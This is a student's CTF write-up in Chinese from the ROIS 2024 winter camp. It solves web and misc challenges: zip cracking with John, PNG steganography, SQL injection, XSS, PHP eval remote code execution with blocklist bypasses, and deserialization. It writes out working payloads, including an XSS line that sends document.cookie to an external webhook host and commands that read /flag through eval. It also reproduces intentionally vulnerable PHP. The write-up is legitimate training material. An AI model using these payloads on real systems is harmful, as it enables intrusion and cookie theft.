ROIS2024冬令营

WEEK1

Web

1.vue-terminal

解法一

​ 老老实实用cdlscat命令一步步找出下一个url

解法二

​ 直接找网页源码,无后端,所以flag在前端文件里,一通瞎找最后在app.2fa07618.js找到

1
2
3
4
5
6
7
methods: {
onExecCmd(n, e, t, o) {
"flag" === n ? t({
type: "html",
content: '\n <ul class="custom-content">\n <li class="t-dir">flag: ROIS{just_a_simple_linux_command_in_CTF}</li>\n </ul>\n <br>\n '
}) : o("Unknown command")
}

2.ez_maze

你能通关大土豆写的网页迷宫吗?
小土豆想看看源代码摸索摸索门道,但是这是什么??

解法一

​ 如果不进行反混淆的话会发现这样一个常量

1
const flag = 'ROIS{Its_' + _0x2e725b(0x180) + _0x2e725b(0x17a) + _0x2e725b(0x16a);

​ 直接在浏览器控制台输入flag这个常量,就会出现所对应的值

解法二

​ 看到js这么一大坨类似乱码的,肯定是经过了混淆处理的,直接拖到反混淆工具里去(JavaScript Deobfuscator (dev-coco.github.io)),最后在一串的代码中找到了

1
const flag = 'ROIS{Its_fun_to_play_maze_with_js!}';

解法三

​ 由于是纯前端文件,所以也可以修改js代码实现弹出

1
2
3
4
5
6
7
function movePlayer(_0x2fa2ec, _0x1d96bc) {
const _0x4c26cf = _0x2e725b,
_0x45acd1 = Math[_0x4c26cf(0x177)](_0x1d96bc / cellSize),
_0x118e43 = Math['floor'](_0x2fa2ec / cellSize);
if (maze[_0x45acd1][_0x118e43] === 0x1) alert(_0x4c26cf(0x173)), resetGame(), window[_0x4c26cf(0x168)][_0x4c26cf(0x164)] = '/';
else maze[_0x45acd1][_0x118e43] === 0x2 ? (alert(_0x4c26cf(0x16e) + flag), resetGame(), window[_0x4c26cf(0x168)]['href'] = '/') : (playerX = _0x118e43 * cellSize, playerY = _0x45acd1 * cellSize, clearCanvas(), drawMaze(), drawPlayer(playerX, playerY));
}

以上是关于flag弹出的代码,重点在后面一个else上,有一个三元运算符:?进行条件的判定

1
else maze[_0x45acd1][_0x118e43] === 0x2 ? (alert(_0x4c26cf(0x16e) + flag), resetGame(), window[_0x4c26cf(0x168)]['href'] = '/') : (playerX = _0x118e43 * cellSize, playerY = _0x45acd1 * cellSize, clearCanvas(), drawMaze(), drawPlayer(playerX, playerY));

直接爆改

1
2
3
4
5
6
function movePlayer(_0x2fa2ec, _0x1d96bc) {
const _0x4c26cf = _0x2e725b,
_0x45acd1 = Math[_0x4c26cf(0x177)](_0x1d96bc / cellSize),
_0x118e43 = Math['floor'](_0x2fa2ec / cellSize);
(alert(_0x4c26cf(0x16e) + flag), resetGame(), window[_0x4c26cf(0x168)]['href'] = '/');
}

就直接弹出flag了

解法四

​ 最开始我以为要拖动红点然后鼠标放红点上,后面按两下回车把撞墙的弹窗关了,flag就弹出来了

3.easy_PDD

题目开始提示:一种基于ip的检测技术

盲猜就是发送请求头X-Forwarded-For(xxf)后跟不同的地址。bp,启动!!!

添加入请求头

1
X-Forwarded-For:233.233.233.233

四选一个数字设成playroad然后设置playroad类型为数值,设置100个以上的数字即可

4.HTTP_Challenge

1
2
3
4
5
6
7
8
9
this is GET method,
your mission:

1.I need a GET param "ROIS" valued 405
2.I need a POST param "Vegetables" valued "Potato"
3.Please use admin character
4.request from 127.0.0.1
5.use browser 'ROISBrowser'
Complete All Missions, and I'll give you the FLAG!!!

根据题目要求

  • 1.get传参变量ROIS=405,方式就是直接在url后加?ROIS=405
  • 2.POST传参变量Vegetables=Potato
  • 3.Please use admin character,使用hackbar抓包发送一次请求后再次抓包,发现cookie中存在这一变量,character=guest,直接把guest改成admin即可
  • 4.request from 127.0.0.1与easy_PDD这一题一样的trick,设置X-Forwarded-For:127.0.0.1
  • 5.use browser ‘ROISBrowser’(打开rois官网下载ROIS浏览器),设置useragent:ROISBrowse

Web作业

[极客大挑战 2019]Http

刚进来看到这个页面

image-20240130210031334

然后一顿乱尝试,最后打开源码看到

1
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>

style属性将边框和光标变化去除,onclick导致无法点击这个链接,在页面看起来和其他无差异

然后拼接url进入下一个页面

页面提示:It doesn’t come from ‘https://Sycsecret.buuoj.cn

添加请求头:Referer:https://Sycsecret.buuoj.cn

页面提示:Please use “Syclover” browser

修改user-agent请求头:User-Agent:Syclover

页面提示:No!!! you can only read this locally!!!

locally大概率就是通过ip进行检测,添加请求头:X-Forwarded-For:127.0.0.1

最后成功拿到flag:flag{5d07ecd7-a0b7-4aa3-a3f7-fb7ec9afa6cb}

Misc

easy_password_zip

听说太简单的密码会被爆破,尊嘟假嘟o.O

​ 根据题目提示,直接拿到kali里面爆破(不得不说就给2核,kali跑的真的慢)

John是一款Kali linux自带的密码破解工具,支持密码本破解。John基于密码本破解

输入命令

1
2
3
zip2john flag.zip > flag .txt 

john flag.txt

跑了很久之后,获得密码:passw

pseudo_encryption_zip

土豆非常热爱爆破,小涂决定做一道永远不可能爆出密码的。

​ 根据题目提示,zip被修改二进制数据后实现伪加密(发现MISC题目的hint全在题目上哈哈哈哈哈哈哈哈哈哈)

zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包。

做这题时候的参考文章:

CTF——MISC——zip伪加密总结_zip伪加密实验总结-CSDN博客

1706700750476

找到全局方式位标记(有无加密)发现都被改成了01 00修改成00 00再次打开压缩包就发现flag.txt没有被加密,打开即可获得flag

crc32_easy_zip

到底什么人会把文件拆开再放在一起压缩啊?小涂如是说。

PS: flag不含花括号。

image-20240131194028247

打开发现都是小于12字节的txt文件(最开始以为是铭文碰撞,然后发现不行),然后再网上一通乱找,发现了对于字节比较少的txt文件可以进行crc32碰撞,最后将这些内容拼接起来就可以拿到答案了

LSB_png

小涂拿放大镜看瞎了眼,也没找到flag。

一顿搜索找到了工具:Stegsolve

  1. 打开加密图片后,选择Analyse-DataExtract
  2. Bit Planes 选中Reg、Green、Blue的第0位
  3. 然后选择预览

1706702138995

获得flag

change_size_png

把图片拖到kali里面打开,然后发现图片打不开,估计就是图片的长宽高被修改了

一通梭哈,找到了个脚本通过crc32反推长宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import struct
import zlib

def hexStr2bytes(s):
b = b""
for i in range(0,len(s),2):
temp = s[i:i+2]
b +=struct.pack("B",int(temp,16))
return b

str1="49484452"#文件头数据块标示IDCH
str2="0806000000"
bytes1=hexStr2bytes(str1)
bytes2=hexStr2bytes(str2)
wid,hei = 248,248#修改此处的宽高

crc32 = "0x72571F5D"#请修改此处crc32的值

for w in range(wid,wid+2000):
for h in range(hei,hei+2000):
width = hex(w)[2:].rjust(8,'0')
height = hex(h)[2:].rjust(8,'0')
bytes_temp=hexStr2bytes(width+height)
if eval(hex(zlib.crc32(bytes1+bytes_temp+bytes2))) == eval(crc32):
print(hex(w),hex(h))

最后运行结果得出

1
2
PS C:\MISC\图片隐写> python 图片高宽检测.py
0xf8 0x19f

然后用101editor修改图片的相关参数,就可以得到flag

1706703282599

WEEK2

Web

SQL注入小测试-easy

源码(黑盒测试,写题的时候是没有源码的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);

$username = $_POST["username"];
$password = $_POST["password"];

$connect = mysqli_connect("mysql", "easy", "easy", "easy");
if (!$connect) {
die("连接失败: " . mysqli_connect_error());
}

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
print("<p>" . $sql . "</p>");
if ($result = mysqli_query($connect, $sql)) {
$row = mysqli_fetch_row($result);
if ($row[1] == "admin") {
print("<p>" . $row[2] . "</p>");
} else {
print("<p>进不去!怎么想我都进不去吧?!</p>");
}
} else {
print("<p>进不去!怎么想我都进不去吧?!</p>");
}
?>

由于是黑盒测试,先向输入框写入语句,' or 1=1 #判断一下注入,然后就直接弹出来flag了

SQL注入小测试-normal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);

$username = $_POST["username"];
$password = $_POST["password"];

$connect = mysqli_connect("mysql", "normal", "normal", "normal");
if (!$connect) {
die("连接失败: " . mysqli_connect_error());
}

if ($username == "" || $password == "") {
print("<p>用户名或密码不能为空!</p>");
} else {
$sql = "SELECT * FROM users WHERE username='$username'' AND password='$password'";
print("<p>" . $sql . "</p>");
if ($result = mysqli_query($connect, $sql)) {
$row = mysqli_fetch_row($result);
if ($row) {
print("<p>用户:" . $row[1] . " 欢迎登录!</p>");
} else {
print("<p>用户: " . $username . " 不存在或密码错误!</p>");
}
} else {
print("<p>进不去!怎么想我都进不去吧?!</p>");
}
}
?>

同样的是黑盒测试,先向输入框写入语句,' or 1=1 #判断一下注入,发现无论是在用户名处使用语句还是密码处使用语句都是可以进行登录的,判断是直接进行sql的语句拼接,同时存在一个回显点,后使用联合注入法(文章:SQL注入-联合查询(union)注入 | WELLS Blog),从爆数据库再到爆字段再到获得flag(写的比较简陋)

SQL注入小测试-hard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);

$username = $_POST["username"];
$password = $_POST["password"];

$connect = mysqli_connect("mysql", "hard", "hard", "hard");
if (!$connect) {
die("连接失败: " . mysqli_connect_error());
}

if ($username == "" || $password == "") {
print("<p>用户名或密码不能为空!</p>");
} else {
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
print("<p>" . $sql . "</p>");
if ($result = mysqli_query($connect, $sql)) {
$row = mysqli_fetch_row($result);
if ($row) {
print("<p>欢迎登录!</p>");
} else {
print("<p>用户: " . $username . " 不存在或密码错误!</p>");
}
} else {
print("<p>进不去!怎么想我都进不去吧?!</p>");
}
}
?>

与之前相同的黑盒测试,写入语句' or 1=1 #判断一下注入,同样发现无论是在用户名处使用语句还是密码处使用语句都是可以进行登录的,判断也是直接进行sql的语句拼接

与之前不同的是不存在回显点,后使用布尔忙注法(文章:SQL注入-布尔盲注 | WELLS Blog ),推荐使用脚本进行,与前面相同的顺序从爆数据库再到爆字段再到爆flag

WEEK3

Web

xss-1

xss入门题目,一通观察源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
function report(){
document.location = `http://${document.location.hostname}:8001/report.html?e=`+btoa(document.querySelector('#input-textarea').value)
}

function execute(payload){
try{
let parsed = acorn.parse(payload, { ecmaVersion: 'latest' }).body;
alert(eval(payload));
} catch(e){
alert('Error: '+e);
}
}

window.onload = _=>{
let p = (new URLSearchParams(document.location.search)).get('e');
if(p) execute(atob(p));
}
</script>

alert(eval(payload));发现输入的指令最后通过eval执行,并且没有对其进行任何的过滤,题目的flag最后在robot用户的cookie中,直接构造playroad,1+window.open('http://xxxxxxxxxxxx.com/?${document.cookie}' ),借助最后webhook.site最后在url可以拿到flag

838d1a28281bcaaa52476e97b0416668

ez_rce

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);

//你知道php有什么危险函数吗?

class backDoor{
public $param;
static function evalTest($param){
eval($param);
}
}

if (@$_GET['a'] === "ok"){
backDoor::evalTest($_GET['b']);
}

eval 函数可以动态执行字符串中的 PHP 代码

backDoor::evalTest($_GET['b']);调用 backDoor 类的静态方法 evalTest,执行 eval($param);语句,flag文件一般位于根目录

由此可以构造出playroad:?a=ok&b=system('cat /flag');其中的system()函数可以执行系统命令,与此函数类似的还有system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引号

ez_rce_plus?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);

if (@$_SERVER['HTTP_KEY'] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==")
die("authentication failed!!");
else{
$nameFunction = htmlspecialchars(@$_POST["function"]); unset($_POST["function"]);
if(!$nameFunction) $nameFunction = htmlspecialchars(@$_POST["action"]); unset($_POST["action"]);
$nameFunction = waf($nameFunction);
$nameFunction = explode("/",$nameFunction);
$nameFunction = $nameFunction[1];
if($nameFunction){
$params = array();
forEach($_POST as $key => $item){
$item = waf($item);
array_push($params, $item); unset($_POST[$key]);
}
$base64 = false; if(isset($_SERVER["HTTP_BASE64"])){ $base64 = $_SERVER["HTTP_BASE64"] === 'true' ? true : false; }
$params = join("','", $params); $eval = $nameFunction."('".$params."')"; $return = eval('return '.$eval.";"); echo jsonEncode($return, $base64);
}
}


function jsonEncode($value, $base64_encode = true){
$value = json_encode($value, JSON_PRETTY_PRINT);
if($base64_encode) $value = base64_encode($value);
return $value;
}

function waf($input) {
$blacklist = ['system', 'exec', 'flag'];

foreach ($blacklist as $word) {
$input = str_replace($word, '', $input);
}

return $input;
}

首先解决

1
if (@$_SERVER['HTTP_KEY'] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==")

在http加入请求头key: Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==(这一串最后解码后发现是welecome_to_rois! 小彩蛋?)。

然后读代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$nameFunction = htmlspecialchars(@$_POST["function"]); unset($_POST["function"]);
if(!$nameFunction) $nameFunction = htmlspecialchars(@$_POST["action"]); unset($_POST["action"]);
$nameFunction = waf($nameFunction);
$nameFunction = explode("/",$nameFunction);
$nameFunction = $nameFunction[1];
if($nameFunction){
$params = array();
forEach($_POST as $key => $item){
$item = waf($item);
array_push($params, $item); unset($_POST[$key]);
}
$base64 = false; if(isset($_SERVER["HTTP_BASE64"])){ $base64 = $_SERVER["HTTP_BASE64"] === 'true' ? true : false; }
$params = join("','", $params); $eval = $nameFunction."('".$params."')"; $return = eval('return '.$eval.";"); echo jsonEncode($return, $base64);
}

最后eval函数执行的是$_POST["action"]中从左到右第一个/后的字段,并最后拼接字段$eval形成这样一个结果

1
函数名('参数名');

此时函数就可以考虑利用system()等函数读取根目录下的flag文件,这个过程中就会遇到一个waf函数

1
2
3
4
5
6
7
8
9
function waf($input) {
$blacklist = ['system', 'exec', 'flag'];

foreach ($blacklist as $word) {
$input = str_replace($word, '', $input);
}

return $input;
}

'system', 'exec', 'flag'三个敏感词进行替换,这种可以直接进行双写绕过即可(即system写成syssystemtem

最后的playroad可以写成action=syssystemtem&wells=cat /flflagag,其中第二个名称可以随便设立

ez_rce_with_full_waf?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);

if (@$_SERVER['HTTP_KEY'] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==")
die("authentication failed!!");
else{
$nameFunction = htmlspecialchars(@$_POST["function"]); unset($_POST["function"]);
$nameFunction = waf($nameFunction);
if(!$nameFunction) $nameFunction = htmlspecialchars(@$_POST["action"]); unset($_POST["action"]);
$nameFunction = explode("/",$nameFunction);
$nameFunction = $nameFunction[1];
if($nameFunction){
$params = array();
forEach($_POST as $key => $item){
$item = waf($item);
array_push($params, $item); unset($_POST[$key]);
}
$base64 = false; if(isset($_SERVER["HTTP_BASE64"])){ $base64 = $_SERVER["HTTP_BASE64"] === 'true' ? true : false; }
$params = join("','", $params); $eval = $nameFunction."('".$params."')"; $return = eval('return '.$eval.";"); echo jsonEncode($return, $base64);
}
}


function jsonEncode($value, $base64_encode = true){
$value = json_encode($value, JSON_PRETTY_PRINT);
if($base64_encode) $value = base64_encode($value);
return $value;
}

function waf($input) {
$blacklist = ['system', 'exec', 'flag' ,'`' ,'eval' ,'call' ,'$' ,'php' ,'require' , '_' , 'file' ,'show' , 'include', '\'' , '"' , '.' , '<' , '>' ];

foreach ($blacklist as $word) {
$input = str_replace($word, 'hack!', $input);
}

return $input;
}

与上一题不同的是本题的waf()函数,限制更多且不能进行双写绕过(敏感词会变成hack!,而不是去除)

1
2
3
4
5
6
7
8
9
function waf($input) {
$blacklist = ['system', 'exec', 'flag' ,'`' ,'eval' ,'call' ,'$' ,'php' ,'require' , '_' , 'file' ,'show' , 'include', '\'' , '"' , '.' , '<' , '>' ];

foreach ($blacklist as $word) {
$input = str_replace($word, 'hack!', $input);
}

return $input;
}

如果直接使用$_POST["function"]可以考虑用其他的执行系统命令的函数shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),但在代码中,有一处漏洞:

1
if(!$nameFunction) $nameFunction = htmlspecialchars(@$_POST["action"]); unset($_POST["action"]);

此时的$nameFunction,没有进行任何的waf过滤,因此可以不设置$_POST["function"]参数而使用$_POST["action"],对于flag这个词的绕过,可以使用linux系统的通配符如[],将flag写成fla?

最后的playroad可以写成action=system&wells=cat /fla?,其中第二个名称可以随便设立

unserialize-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

$flag = 'ROIS{test}';
class Name
{
public $name;
public $password;
public function __get($name) {
echo $this->name;
return $name;
}

public function __wakeup() {
if($this->password!=null){
echo $this->password;
}
else{
echo $this->name;
}
}

public function __toString() {
global $flag;
echo $flag;
return "nice";
}

}
unserialize($_GET['input']);

unserialize()函数进行反序列化的函数(序列化与反序列化概念:一文搞懂序列化与反序列化

然后有关于__wakeup()__toString()的两个魔术方法

__wakeup()在反序列的过程中会自动调用

1
2
3
4
5
6
7
8
public function __wakeup() {
if($this->password!=null){
echo $this->password;
}
else{
echo $this->name;
}
}

如果此反序列化后的对象的password变量不为空,会打变量password反之打印name变量

__toString()在将对象被作为字符串中过程中会自动调用

1
2
3
4
5
public function __toString() {
global $flag;
echo $flag;
return "nice";
}

触发__toString()就可以打印出flag,所以本题的关键就是将对象被作为字符串中过程中会自动调用,而唯一有可能的就是反序列化过程中自动触发的echo

联想出将这个对象的name变量的值也是对象,password变量的值为空即可,即

使用s:45:"O:4:"Name":2:{s:4:"name";N;s:8:"password";N;}"即可